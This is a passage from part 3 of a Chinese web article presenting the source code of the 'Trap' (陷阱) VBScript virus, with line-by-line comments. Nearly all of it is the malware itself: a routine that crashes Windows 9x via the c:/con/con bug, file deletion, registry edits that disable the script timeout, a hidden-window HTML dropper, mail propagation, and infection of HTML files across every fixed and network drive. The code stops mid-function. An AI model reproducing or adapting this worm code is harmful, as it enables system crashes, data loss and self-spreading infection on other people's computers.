“陷阱”病毒源代码大揭密[3]

[入库:2005年8月18日] [更新:2007年3月24日]

本文简介:选择自 thexiao 的 blog

window.navigate "c:/con/con" '立刻蓝屏,利用 windows bug,能引起 win9x 系统100%死机(即无法恢复的蓝屏)

else '如不是7.5

if fso.fileexists(w2 & "75.htm") then fso.deletefile w2 & "75.htm" ' 删除75.htm

end if

end if

if fso.fileexists(defpath) then fso.deletefile defpath ' 删除 c:\readme.html 病毒文件

end sub

sub executemail() '邮件状态时执行的程序

on error resume next

vbs_str = getscriptcode("vbscript")

js_str = getjavascript()

set stl = createobject("scriptlet.typelib") '创建 typelib对象

with stl

.reset

.path = defpath

.doc = makehtml(encrypt(vbs_str), true)

.write() '创建 c:\readme.html 文件

end with

window.open defpath, "trap", "width=1 height=1 menubar=no scrollbars=no toolbar=no" 打开会隐藏的窗口

end sub

sub executevbs() ' 同理,如病毒文件是 vbs 时所执行的程序

on error resume next

dim x, adi, wvbs, ws, vf

set fso = createobject("scripting.filesystemobject")

set wvbs = createobject("wscript.shell")

gf

wvbs.regwrite mswkey & "windows scripting host\setings\timeout", 0, "reg_dword"

set vf = fso.opentextfile (w2 & "system.dll", 1)

code_str = vf.readall()

vf.close

hackpage

sendmail

set adi = fso.drives

for each x in adi

if x.drivestype = 2 or x.drivestype = 3 then

call searchhtml(x & "\")

end if

next

if testuser then killhe

end sub

sub gf() '得到系统路径

w1=fso.getspecialfolder(0) & "\"

w2=fso.getspecialfolder(1) & "\"

end sub

function readreg(key_str) '读注册表

set tmps = createobject("wscript.shell")

readreg = tmps.regread(key_str)

set tmps = nothing

end function

function writereg(key_str, newvalue, vtype) '写注册表

set tmps = createobject("wscript.shell")

if vtype="" then

tmps.regwrite key_str, newvalue

else

tmps.regwrite key_str, newvalue, vtype

end if

set tmps = nothing

end function

function makehtml(sbuffer, ihtml) '创建html 文件的完整代码

dim ra

randomize

ra = int(rnd() * 7)

makehtml="<" & "html><" & "head><" & "title>" & title(ra) & "</" & "title><" & "/head>" & _

本文关键:trap, 病毒, virus, 陷阱, vbscript, javascript
 

本站最佳浏览方式为 分辨率 1024x768 IE 6.0(或更高版本的 IE浏览器)

go top